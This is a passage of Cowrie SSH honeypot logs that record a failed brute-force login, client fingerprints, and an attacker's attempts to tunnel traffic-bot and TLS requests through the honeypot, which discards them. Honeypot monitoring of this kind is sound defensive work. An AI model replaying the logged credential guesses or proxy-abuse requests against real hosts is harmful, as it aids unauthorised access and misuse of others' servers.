16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:02.065756Z","src_ip":"91.92.40.36","session":"a8188e3234b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es12","message":"login attempt [es/es12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:07.287515Z","src_ip":"91.92.40.36","session":"a8188e3234b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":46974,"dst_ip":"159.203.135.109","dst_port":22,"session":"237b87482ff0","protocol":"ssh","message":"New connection: 91.92.40.36:46974 (159.203.135.109:22) [session: 237b87482ff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:07.690498Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:08.427773Z","session":"b89e67c99fa4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:08.549054Z","src_ip":"173.208.188.210","session":"b89e67c99fa4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/90.0.4430.72 Mobile/16G77 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=WXcrYW8hRDkwYyRfY3tsfQ%3D%3DxAo76a5FxBAc%2FW2KwBQVixu0fl5eunVoU8yrkKG9m7BeGP6TPYsXDMubzd3VF%2F5EszzEjZe8Y1CJ7jZKO3lJMIvImzD3BGaxqhsRTQkapLg2p%2BYO3FvRCqE%2B3huVkBWNDLb7q6EaqCv842B1r3599lka0kjmPz1A1q91OSgAzmnFCQCFVxGEXd490Sc1nBo0WhB8vNOfgoiO60PHT7a9Kuht1Oa09A%2Fw3IPXRSa%2FhXdo9NgLVCqatNMYMQZ2QS9zJRsuOjOuMTlRcqhLMtVjEnHg3BW4sK0wB%2BRJtsos%2BPLbMRQZe4e2TZKbP0nYOvVR0xd%2BavMVjTRo8R67SY2yc4YQgdjjDM42fHSQtuYgN4a4J7PCv3o8uul06D80%2BVjzw%2BXUbe9mAqT%2BLPyk5WuFSVu9yPt60pSlmdDx%2B9c4ymHD36e%2FvpEv1%2BFwlOvNPbV%2FC99VRr1EzM3%2BTNw4rr7abheVXegOAsdoSb8EHgmHXorS92BxEJly%2Bkmm9ytLCqTSCw2wQdvEIU3IBvU7Fe5Fzi%2B395XY1P2SWBEwfLzvMZv8a7Q8xLmAcoqWifPmOBzKmm%2BCl7NfhiBmIJhHAHmvyKfs9JR8M1OBTgDSUTe5DKC5Qs%2FZec7WQDLIODc4zBkk34tLjiF%2B97pUYzLVl6LboRrrkUWteyHlaWUB7KG2hqVhWwomO5aqICv1Ucq%2FLPs%2FCOTuYRRTDMYb1Ywafm9KC%2Bxl%2BV2gZefttNyIvr%2FoJqf7SWuxMJ7ISFeNjaF97getS1sJFuObeUGCQthZsoqZiuLM4MQtSZGPFn6Ch7w3Rfr8n3aNnDNVaKt%2FqX76tHODsyarcvC9vdPEutIxBk3TdbeDWgHsBezqvxlAgzZO%2BsjUlnhavn6dyQblbBGVfhPnJIHzLvKrD6lodazArYfR%2FF1c%2FFAuTcEfZ5Y%2FfrQdyFpYjtCmrPcRmnK%2Fr1BIB9NS6kJJ28%2F1ZlopZwXnrJ0dF7KLvxIQPjiD2ebBuPvs6y8Pwtvv3eZRHt7Zdm8OpEknWb9GwBGM%2FBvhZ2IvoZb26%2BTFuN228GcExWgm0RB6%2BZRCDBwHjRMjNZtJ7g7H8%2BAQ'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/90.0.4430.72 Mobile/16G77 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=WXcrYW8hRDkwYyRfY3tsfQ%3D%3DxAo76a5FxBAc%2FW2KwBQVixu0fl5eunVoU8yrkKG9m7BeGP6TPYsXDMubzd3VF%2F5EszzEjZe8Y1CJ7jZKO3lJMIvImzD3BGaxqhsRTQkapLg2p%2BYO3FvRCqE%2B3huVkBWNDLb7q6EaqCv842B1r3599lka0kjmPz1A1q91OSgAzmnFCQCFVxGEXd490Sc1nBo0WhB8vNOfgoiO60PHT7a9Kuht1Oa09A%2Fw3IPXRSa%2FhXdo9NgLVCqatNMYMQZ2QS9zJRsuOjOuMTlRcqhLMtVjEnHg3BW4sK0wB%2BRJtsos%2BPLbMRQZe4e2TZKbP0nYOvVR0xd%2BavMVjTRo8R67SY2yc4YQgdjjDM42fHSQtuYgN4a4J7PCv3o8uul06D80%2BVjzw%2BXUbe9mAqT%2BLPyk5WuFSVu9yPt60pSlmdDx%2B9c4ymHD36e%2FvpEv1%2BFwlOvNPbV%2FC99VRr1EzM3%2BTNw4rr7abheVXegOAsdoSb8EHgmHXorS92BxEJly%2Bkmm9ytLCqTSCw2wQdvEIU3IBvU7Fe5Fzi%2B395XY1P2SWBEwfLzvMZv8a7Q8xLmAcoqWifPmOBzKmm%2BCl7NfhiBmIJhHAHmvyKfs9JR8M1OBTgDSUTe5DKC5Qs%2FZec7WQDLIODc4zBkk34tLjiF%2B97pUYzLVl6LboRrrkUWteyHlaWUB7KG2hqVhWwomO5aqICv1Ucq%2FLPs%2FCOTuYRRTDMYb1Ywafm9KC%2Bxl%2BV2gZefttNyIvr%2FoJqf7SWuxMJ7ISFeNjaF97getS1sJFuObeUGCQthZsoqZiuLM4MQtSZGPFn6Ch7w3Rfr8n3aNnDNVaKt%2FqX76tHODsyarcvC9vdPEutIxBk3TdbeDWgHsBezqvxlAgzZO%2BsjUlnhavn6dyQblbBGVfhPnJIHzLvKrD6lodazArYfR%2FF1c%2FFAuTcEfZ5Y%2FfrQdyFpYjtCmrPcRmnK%2Fr1BIB9NS6kJJ28%2F1ZlopZwXnrJ0dF7KLvxIQPjiD2ebBuPvs6y8Pwtvv3eZRHt7Zdm8OpEknWb9GwBGM%2FBvhZ2IvoZb26%2BTFuN228GcExWgm0RB6%2BZRCDBwHjRMjNZtJ7g7H8%2BAQ'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:08.552347Z","src_ip":"173.208.188.210","session":"b89e67c99fa4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:08.565397Z","session":"b89e67c99fa4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:08.617565Z","src_ip":"173.208.188.210","session":"b89e67c99fa4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd6\\xc3\\xfd^\\x9365q\\xb4b\\xa3\\xba\\xe6+\\x87\\\\\\xb7\\xab\\xcf8\\r\\x80\\x08M4b*g\\x08{\\x81\\xc2 \\xd1\\xbb2{\\x9c\\xef\\xeexo\\xde\\xfc\\xe1V\\xf1pR\\xde\\xec\"\\x85\\x82\\xbc\\xd2<z\\x84\\n\\xb6\\xe1\\xc9\\x93\\xda\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xcb;\\xf2)y\\xc7\\xcd\\xebqC\\x97w\\xfaJ\\xc2T\\xbf\\x89\\xe6\\x01\\xe7\\xe9\\xb6\\xb0\\xcccs\\x05\"\\xd0K$\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd6\\xc3\\xfd^\\x9365q\\xb4b\\xa3\\xba\\xe6+\\x87\\\\\\xb7\\xab\\xcf8\\r\\x80\\x08M4b*g\\x08{\\x81\\xc2 \\xd1\\xbb2{\\x9c\\xef\\xeexo\\xde\\xfc\\xe1V\\xf1pR\\xde\\xec\"\\x85\\x82\\xbc\\xd2<z\\x84\\n\\xb6\\xe1\\xc9\\x93\\xda\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xcb;\\xf2)y\\xc7\\xcd\\xebqC\\x97w\\xfaJ\\xc2T\\xbf\\x89\\xe6\\x01\\xe7\\xe9\\xb6\\xb0\\xcccs\\x05\"\\xd0K$\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:08.620962Z","src_ip":"173.208.188.210","session":"b89e67c99fa4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:08.677062Z","session":"b89e67c99fa4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:08.715889Z","src_ip":"173.208.188.210","session":"b89e67c99fa4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc9\\xecH\\xb7\\xeb\\\\\\xb93 \\xf4\\xbd\\n\\x13\\xd4\\x04\\x1a\\x81\\xe4\\xab\\x90\\xb6\\xfb\\xfd{\\xf2\\xc5\\xb6O\\xd7h\\x1a| \\x182K\\xe4K\\xfa\\x94\\x1b^\\xf6.5\\xa4\\x11/\\xf3\\x81\\xea\\x99\\xc1\\xba\\xbc\\x0fn\\x8e\\x01\\xcb\\xf0\\xe330%\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf3\\xd5\\xa9~\\xae\\xcc\\xd5g\\xaat\\x01\\xcb\\xe52\\x1e\\x99\\x94\\xc2\\x91_\\xb1\\x91y\\x8d\\xf3C.\\xb1E\\xb89W\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc9\\xecH\\xb7\\xeb\\\\\\xb93 \\xf4\\xbd\\n\\x13\\xd4\\x04\\x1a\\x81\\xe4\\xab\\x90\\xb6\\xfb\\xfd{\\xf2\\xc5\\xb6O\\xd7h\\x1a| \\x182K\\xe4K\\xfa\\x94\\x1b^\\xf6.5\\xa4\\x11/\\xf3\\x81\\xea\\x99\\xc1\\xba\\xbc\\x0fn\\x8e\\x01\\xcb\\xf0\\xe330%\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf3\\xd5\\xa9~\\xae\\xcc\\xd5g\\xaat\\x01\\xcb\\xe52\\x1e\\x99\\x94\\xc2\\x91_\\xb1\\x91y\\x8d\\xf3C.\\xb1E\\xb89W\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:08.718745Z","src_ip":"173.208.188.210","session":"b89e67c99fa4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:09.373586Z","src_ip":"91.92.40.36","session":"237b87482ff0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:09.377815Z","src_ip":"91.92.40.36","session":"237b87482ff0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:09.816699Z","src_ip":"91.92.40.36","session":"a8188e3234b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.8","message":"Connection lost after 16.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:13.121510Z","src_ip":"173.208.188.210","session":"b89e67c99fa4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":47016,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f48f7994b3e","protocol":"ssh","message":"New connection: 91.92.40.36:47016 (159.203.135.109:22) [session: 4f48f7994b3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:13.937282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:15.666737Z","src_ip":"91.92.40.36","session":"4f48f7994b3e","protocol":"ssh"}
